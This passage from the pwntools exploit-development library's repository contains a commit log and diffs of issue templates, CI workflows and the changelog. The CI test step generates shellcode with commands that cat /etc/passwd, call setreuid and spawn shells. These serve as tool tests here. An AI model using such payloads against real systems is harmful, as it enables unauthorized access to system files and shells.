* added changelog entry and fixed python2.7 compatibility

* also added optional gdbserver_args parameter to gdb.debug()

* implemented requested fixes for #2382:
+ gdb.debug port is now also used for qemu
+ GDB Python API is now tested for tubes.process.process a warning for ssh.process and an error for everything else
+ updated docs to use mention that gdbserver ports are randomized by default
+ now using gdbserver_port to check if the correct port was set
+ fixed CHANGELOG.md structure

* implemented requested fixes for #2382:
+ gdb.debug port is now also used for qemu
+ GDB Python API is now tested for tubes.process.process a warning for ssh.process and an error for everything else
+ updated docs to use mention that gdbserver ports are randomized by default
+ now using gdbserver_port to check if the correct port was set
+ fixed CHANGELOG.md structure
+ added timeouts for recvline() gdb tests
+ also run gdb api tests for ssh runner

---------

Co-authored-by: gfelber <@users.noreply.github.com>
Co-authored-by: peace-maker <[email protected]>
2024-07-23 13:53:35 +02:00
Peace-Maker 18c8bfba3d Pin colored_traceback < 0.4 for Python 2 2024-07-23 13:37:26 +02:00
Jakub Nowak 4284c3fcdf Improve remote() documentation (#2427)
* Improve remote() documentation

* changelog
2024-07-09 09:23:46 +02:00
Arusekk a366e91038 Add TTY escape function for file transfer (#2422) 2024-07-02 07:04:14 +02:00
CocoaandArusekk 736cf9d112 feat: multi shellcraft cmd (#2398)
* added support for multiple shellcraft commands

* updated CHANGELOG.md

* fix `pwn shellcraft -l shellcode`

* fix `get_template`

* strip strings after spliting by the delimiter

* fix `pwn shellcraft --show shellcode`

* added some tests in ci

* better handling for splitting by delimiter

---------

Co-authored-by: Arusekk <[email protected]>
2024-06-23 16:51:23 +02:00
peace-maker 4dc8d60b9e Add "none" ssh authentication method (#2405)
* Add "none" ssh authentication method

Allow to "disable" ssh authentication if the remote server has it enabled.

Fixes #2380

* Add CHANGELOG
2024-06-17 10:03:55 +02:00
Dvorhack d5fffb6769 Shellcode socket IPV6 (#2415) 2024-06-15 18:56:45 +02:00
Th3Sandpeace-maker 51e8eb09ee libcdb: add offline_only to search_by_symbol_offsets (#2388)
* Add `offline_only` for `search_by_symbol_offsets`

* Fix bug

* Update CHANGELOG

* Remove redundant code

* Update

---------

Co-authored-by: peace-maker <[email protected]>
2024-05-23 16:57:19 +02:00
Sanjit Kumarandpeace-maker e92a30bbf7 Convert bytes-like object to string in apport_corefile() method (#2387)
* converting bytes-like object to string

* updated changelog

---------

Co-authored-by: peace-maker <[email protected]>
2024-05-12 13:26:08 +02:00
peace-maker fcec11784a Fix access of undefined ssh._tried_sftp in raw mode (#2396)
* Fix access of undefined `ssh._tried_sftp` in `raw` mode

The attribute was never set when setting `ssh(raw=True)` which caused the code to run `ssh.__getattr__` which raised an AttributeError due to `_tried_sftp` starting with an `_` on Python 3.12.

* Document all `ssh` attributes
2024-05-12 11:31:46 +02:00
qux-bbb fe560c9835 Add sudo for apt-get (#2395) 2024-04-24 12:46:07 +02:00
Peace-Maker 27366fdeb8 Merge branch 'beta' into dev 2024-04-22 00:05:28 +02:00
Peace-Maker 5f79e1dc51 ci: Install rpyc from pip instead of apt
The apt package appears outdated and incompatible with the latest version on pypi.

>>> ValueError: invalid message type: 18
2024-04-21 23:44:04 +02:00
Peace-Maker af6c8c8878 gdb.debug: gdbserver --wrapper requires startup-with-shell
Only add it when we don't want to manipulate the environment or argv[0].
This will cause the problem with fish shell to reappear in those cases, but
it's another step for compatibility at least.

#2378
2024-04-21 23:31:29 +02:00
Peace-Maker 55390f1bf6 Merge branch 'stable' into beta 2024-04-21 22:46:36 +02:00
peace-maker f2f55f3e1c Return buffered data on first EOF in tube.readline() (#2376)
* Return buffered data on first EOF in tube.readline()

When there is still data available in the tube buffer when an EOFError occurs in
`tube.recvline()`, return that data even though it doesn't contain a newline.
The next time `tube.recvline()` is called afterwards will raise EOFError normally.

This behavior is in line with the GNU readline implementation and avoids
loss of data. It allows `tube.stream()` to print everything that's received before
the receiving end terminates.

A new warning is logged when data is returned due to an EOF informing
about the lack of the trailing newline character.

Fixes #2366

* Update CHANGELOG

* Add context.throw_eof_on_incomplete_line

Allow to control the behavior of `tube.recvline` and
be able to suppress the new warning.

* Cleanup docs
2024-04-21 22:37:46 +02:00
peace-maker db98e5edfb Don't go through a shell in gdb.debug (#2378)
* Don't go though a shell in `gdb.debug`

gdbserver starts a shell and runs the target process through it.
This behavior was added in gdbserver 8.0 together with the
commandline flag --no-startup-with-shell to disable it.

* Update CHANGELOG
2024-04-21 20:33:34 +00:00
peace-maker 60072487f1 Fix displaying bright color variation in terminal output (#2373)
* Recompute text.has_bright when num_colors changes

The number of simultaneous colors in the current terminal are queried
later during initialization and the text.num_colors attribute is updated accordingly.
The text.has_bright attribute wasn't updated when that happened and always
remained set to False. Calculate those properties based on num_colors dynamically.

* Update CHANGELOG

* Enable bright colors on Windows too

Only get "colors" on Windows to avoid #1201 again.

* Fix support for old terminals on windows
2024-04-21 22:24:35 +02:00
7ac5a34a59 Change from pop to keys for reporting proper error message (#2391)
* Change from pop to keys for reporting proper error message

* update changelog

* add doctest for xor

* Add newline to run xor doctests

* Switch to `dict.popitem()`

---------

Co-authored-by: marinelay <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2024-04-21 22:22:46 +02:00
eec3321ae9 Fix passing bytes to context.log_file and crc.BitPolynom (#2389)
* Fix incosistent usage of bytes/str

* update changelog

* Update CHANGELOG

---------

Co-authored-by: marinelay <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2024-04-21 22:18:28 +02:00
Lewis Watson d2a02a7b37 Updated Mac OS Install Documentation (#2392)
* Added Missing MacOS Requirements

* Updated Binutils Install Docs

Due to security reasons Homebrew has removed direct formula references, this is the workaround.

* Updated changelog for #2392

* reverting changelog
2024-04-21 22:14:55 +02:00
peace-maker c1ce1897df Fix duplicate definition of ssh.sftp (#2394) 2024-04-21 22:13:56 +02:00
peace-maker 5981c7290d Change newline when setting context.os to "windows" (#2330)
* Change newline when setting `context.os`

Windows uses `b'\r\n'` for newlines while unix uses `b'\n'`. Change the expected newline to `b'\r\n'` when setting `context.os = "windows"` automatically for convenience.

* Update CHANGELOG

* Fix other tests setting os
2024-03-29 17:52:34 +01:00
peace-makerandLevitatingLion cb540857cc Add basic RISCV64 shellcraft support (#2322)
* Add basic RISCV64 shellcraft support

The `mov` template isn't 100% null-byte and newline free
for all inputs. Certain larger values are just emitted using
the `li` pseudo-instruction by the assembler which might
contain null-bytes.

Co-authored-by: LevitatingLion <[email protected]>

* Generate RISCV syscall constants from musl-libc

diet-libc doesn't support RISCV, so borrow from musl.
Need to consider their license.

* Update CHANGELOG

* Fix CHANGELOG

---------

Co-authored-by: LevitatingLion <[email protected]>
2024-03-29 17:28:50 +01:00
peace-maker 8ba1bdf0b6 Add basic support to debug processes on Windows (#2327)
* Add basic support to debug processes on Windows

Currently only `windbg.debug()` and `windbg.attach()` are implemented,
which open a WinDbg instance and attach to the process.

* Update CHANGELOG

* Cleanup CheckRemoteDebuggerPresent call

Only require PROCESS_QUERY_INFORMATION access and check for errors when opening the process.

* process.close: Move closing of std fds after kill

Windows processes would block on fd.close() when the main thread is suspended.
2024-03-29 16:04:56 +01:00
Th3S 4ac98cd11a Add offline parameter for libcdb.search_by_hash series function (#2360)
* Add offline parameter

* Add CHANGELOG

* Rename `offline` to `offline_only`
2024-03-29 15:27:38 +01:00
Swastik Sarkar 75cc3c3d5c libcdb.unstrip_libc: debug symbols are fetched only if not present (#2374)
* libcdb.unstrip_libc: debug symbols are fetched only if not present

* Usage of `ELF.debuginfo` to check if debug symbols exist

closes #2324

---------

Signed-off-by: sswastik02 <[email protected]>

* Add CHANGELOG

Signed-off-by: sswastik02 <[email protected]>

---------

Signed-off-by: sswastik02 <[email protected]>
2024-03-24 13:19:31 +01:00
Peace-Maker a2acdf9bd9 Pin pyelftools<0.30 for Python 2 in docs/requirements.txt
Docs only installs fail under python2 due to trying to install pyelftools>=0.30 which dropped py2 support.

Fixes #2372
2024-03-22 20:32:57 +01:00
Pratik Raj 14c0d73f89 feat : use --no-cache-dir flag to pip in dockerfiles to save space (#2357)
using the "--no-cache-dir" flag in pip install, make sure downloaded packages by pip don't cache on the system. This is a best practice that makes sure to fetch from a repo instead of using a local cached one. Further, in the case of Docker Containers, by restricting caching, we can reduce image size. In terms of stats, it depends upon the number of python packages multiplied by their respective size. e.g for heavy packages with a lot of dependencies it reduces a lot by don't cache pip packages.

Further, more detailed information can be found at

https://medium.com/sciforce/strategies-of-docker-images-optimization-2ca9cc5719b6

Signed-off-by: Pratik Raj <[email protected]>
2024-03-07 13:38:36 +01:00
Th3S 3b4b261b5a Add local libc database provider for libcdb (#2356)
* Add local libc database provider for libcdb

* Remove unnecessary assert

* Add docstring for local_libcdb

* Suppress warning output while `context.libdb` sets default

* Testing the local system's libc first

* Set falsely `context.lcoal_libcdb` to turn off local libc-database integration

* Fix docstring

* Make path check in validator

* Fix doctests

* Add CHANGELOG
2024-03-01 13:01:09 +01:00
Peace-Maker 000c31c155 ci: Install rpyc from pip instead of apt
The apt package appears outdated and incompatible with the latest version on pypi.

>>> ValueError: invalid message type: 18
2024-02-25 14:39:51 +01:00
Peace-Maker 197f00806e Merge branch 'beta' into dev 2024-02-22 23:08:02 +01:00
Peace-Maker e1770a3045 Begin working on 4.14.0 2024-02-22 22:49:41 +01:00
828 changed files with 19104 additions and 4896 deletions

No files matched your search

+1 -1
View File
@@ -4,7 +4,7 @@ Thanks for contributing to Pwntools!
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing.
Please verify that your issue occurs on 64-bit Ubuntu 22.04. You can use the Dockerfile on `docker.io` for quick testing.
```
$ docker pull pwntools/pwntools:stable
+1 -1
View File
@@ -39,7 +39,7 @@ You should see `[DEBUG]` statements that show what's happening behind the scenes
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04. We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04. We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
+1 -1
View File
@@ -24,7 +24,7 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
## Changelog
+5 -2
View File
@@ -4,5 +4,8 @@ updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
# Check for updates to GitHub Actions every week
interval: "weekly"
# Check for updates to GitHub Actions every month
interval: "monthly"
groups:
github-actions:
dependency-type: "production"
-60
View File
@@ -1,60 +0,0 @@
name: Android Tests
on: [push, pull_request]
jobs:
android-test:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Cache for pip
uses: actions/cache@v4
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
python setup.py egg_info
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 0
+189 -38
View File
@@ -5,12 +5,28 @@ jobs:
test:
strategy:
matrix:
python_version: ['2.7', '3.10']
python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
services:
libcdb-cache:
image: nginx
volumes:
- /home/runner/libcdb-cache:/var/cache/nginx
ports:
- 3000:3000 # https://debuginfod.elfutils.org proxy cache
- 3001:3001 # https://libc.rip/ proxy cache
- 3002:3002 # http://archive.ubuntu.com/ proxy cache
- 3003:3003 # https://gitlab.com/ proxy cache
- 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache
env:
DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
PWN_LIBCRIP_URL: http://localhost:3001/
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
@@ -19,29 +35,44 @@ jobs:
git fetch origin
git log --oneline --graph -10
- name: Cache for pip
uses: actions/cache@v4
id: cache-pip
- name: Fix libcdb-cache permissions
id: fix-perms
run: |
sudo chown -R runner:runner /home/runner/libcdb-cache
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
- name: Cache for libcdb requests
uses: actions/cache@v6
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
path: ~/libcdb-cache
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
restore-keys: |
libcdb-python${{ matrix.python_version }}-
libcdb-
- name: Install libcdb-cache service config
run: |
sudo chown -R 101:101 /home/runner/libcdb-cache
container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
docker restart $container_id
- name: Install RPyC for gdb
run: |
# The version packaged in python3-rpyc is too old on Ubuntu 24.04
# We use ^6.0 from pip.
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
- name: Set up Python ${{ matrix.python_version }}
if: matrix.python_version != '2.7'
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python_version }}
- name: Set up Python 2.7
if: matrix.python_version == '2.7'
run: |
sudo apt-get update
sudo apt-get install -y \
python2.7 python2.7-dev python2-pip-whl
sudo ln -sf python2.7 /usr/bin/python
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
sudo chown -R $USER /usr/local/lib/python2.7
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Verify tag against version
@@ -62,28 +93,31 @@ jobs:
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
ash bash-static dash ksh mksh zsh \
python3-rpyc \
gdb gdbserver socat \
binutils-multiarch qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-mipsel-linux-gnu \
binutils-msp430 \
binutils-powerpc-linux-gnu \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
gcc-multilib \
libc6-dbg \
elfutils \
patchelf
# Print diagnostics to help when Corefile doctests fail.
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
- name: Set up SSH
run: |
@@ -95,17 +129,17 @@ jobs:
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
# Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
pip install 'unicorn==2.1.2'
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
run: |
PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Manually install non-broken Unicorn
if: matrix.python_version == '2.7'
run: pip install unicorn==2.0.0rc7
- name: Disable yama ptrace_scope
run: |
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
@@ -143,11 +177,18 @@ jobs:
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft -l execve + exit
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f c amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
@@ -184,38 +225,148 @@ jobs:
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
- name: Build source and wheel distributions
if: matrix.python_version != '2.7'
run: |
python -m build
- uses: actions/upload-artifact@v4
if: matrix.python_version != '2.7'
- uses: actions/upload-artifact@v7
if: matrix.python_version == '3.10'
with:
name: packages
path: dist/
include-hidden-files: true
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
with:
name: coverage-${{ matrix.python_version }}
path: .coverage*
include-hidden-files: true
- name: Fix libcdb-cache permissions
run: |
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker stop $container_id
sudo chown -R runner:runner /home/runner/libcdb-cache
android-test:
runs-on: ubuntu-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v6
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
- uses: actions/upload-artifact@v7
with:
name: coverage-android
path: .coverage*
include-hidden-files: true
windows-test:
runs-on: windows-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade --editable .
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Sanity checks
run: |
python -bb -c 'from pwn import *'
python -bb examples/text.py
- name: Coverage doctests
run: |
python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- uses: actions/upload-artifact@v7
with:
name: coverage-windows
path: .coverage*
include-hidden-files: true
upload-coverage:
runs-on: ubuntu-latest
needs: test
needs: [test, android-test, windows-test]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@v8
with:
pattern: coverage-*
merge-multiple: true
- name: Install coveralls
run: |
pip install tomli coveralls
pip install --break-system-packages tomli coveralls || pip install tomli coveralls
- name: Upload coverage to coveralls.io
run: |
@@ -228,7 +379,7 @@ jobs:
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
- name: Push changes to protected branch
@@ -250,7 +401,7 @@ jobs:
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v4
uses: actions/download-artifact@v8
with:
name: packages
path: dist
+7 -7
View File
@@ -13,16 +13,16 @@ jobs:
steps:
# Required for subdirectories in Git context
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWORD }}
- name: Build and push base image
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch'
with:
context: "{{defaultContext}}:extra/docker/base"
@@ -30,7 +30,7 @@ jobs:
tags: pwntools/pwntools:base
- name: Build and push stable image
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
with:
context: "{{defaultContext}}:extra/docker/stable"
@@ -38,7 +38,7 @@ jobs:
tags: pwntools/pwntools:stable
- name: Build and push beta image
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
with:
context: "{{defaultContext}}:extra/docker/beta"
@@ -46,7 +46,7 @@ jobs:
tags: pwntools/pwntools:beta
- name: Build and push dev image
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:extra/docker/dev"
@@ -56,7 +56,7 @@ jobs:
pwntools/pwntools:latest
- name: Build and push ci image
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:travis/docker"
+17 -9
View File
@@ -5,23 +5,21 @@ jobs:
lint:
strategy:
matrix:
python-version: [3.8]
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Cache for pip
uses: actions/cache@v4
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Critical lint
run: |
@@ -33,3 +31,13 @@ jobs:
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
- name: Minimum Python version check
run: |
pip install vermin
vermin -vvv --no-tips -t=3.10- --violations ./pwnlib ./pwn
- name: MyPy type hint baseline
run: |
pip install -U . --group dev
mypy | mypy-baseline filter
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 0
+11 -12
View File
@@ -5,33 +5,32 @@ jobs:
build:
strategy:
matrix:
python-version: [3.8]
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Cache for pip
uses: actions/cache@v4
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: PyLint
run: |
set -x
pip install pylint
pip install 'pylint<4'
pip install --upgrade -e .
pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > current.txt
run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
run_pylint > current.txt
git fetch origin
git checkout origin/"$GITHUB_BASE_REF"
pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > base.txt
run_pylint > base.txt
if diff base.txt current.txt | grep '>'; then
false
fi
+1 -1
View File
@@ -5,7 +5,7 @@ version: 2
build:
os: ubuntu-22.04
tools:
python: "3"
python: "3.12"
sphinx:
configuration: docs/source/conf.py
+339 -9
View File
@@ -9,9 +9,13 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [4.14.0](#4140-dev) | `dev` |
| [4.13.0](#4130-beta) | `beta` |
| [4.12.0](#4120-stable) | `stable` | Feb 22, 2024
| [5.0.0](#500-dev) | `dev` |
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
| [4.14.1](#4141) | | Mar 24, 2025
| [4.14.0](#4140) | | Jan 15, 2025
| [4.13.1](#4131) | | Sep 29, 2024
| [4.13.0](#4130) | | Aug 12, 2024
| [4.12.0](#4120) | | Feb 22, 2024
| [4.11.1](#4111) | | Nov 14, 2023
| [4.11.0](#4110) | | Sep 15, 2023
| [4.10.0](#4100) | | May 21, 2023
@@ -69,11 +73,333 @@ The table below shows which release corresponds to each branch, and what date th
| [3.0.0](#300) | | Aug 20, 2016
| [2.2.0](#220) | | Jan 5, 2015
## 4.14.0 (`dev`)
## 5.0.0 (`dev`)
- [#2798][2798] fix(flag, adb): NameError in `submit_flag` with a flag file and in `Kernel.enable_uart`
- [#2780][2780] fix(encoders): handle unavailable xor encodings and fallback
- [#2789][2789] feat(errno): support `-c/--context` to look up errno values for other architectures
- [#2784][2784] docs: put plain doctest blocks in the default group for Sphinx 9
- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
- [#2753][2753] docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args
- [#2740][2740] setup: install docs to FHS-compliant share/doc/pwntools
- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
- [#2725][2725] feat(libcdb): add extra_mirrors arg + PWNLIB_EXTRA_LIBC_MIRRORS env to download_libraries
- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
- [#2675][2675] feat(term): add zellij support
- [#2652][2652] Make setting the context.terminal to kitty more user friendly
- [#2638][2638] feat: add disable_corefiles context option
- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)
- [#2598][2598] aarch64: Fix ABI definition
- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
- [#2551][2551] Detect when kitty is being used as terminal
- [#2519][2519] Drop Python 2.7 support / Require Python 3.10
- [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows
- [#2522][2522] Support starting a kitty debugging window with the 'kitten' command
- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows
- [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it.
- [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems
- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.
- [#2529][2529] Add LoongArch64 support
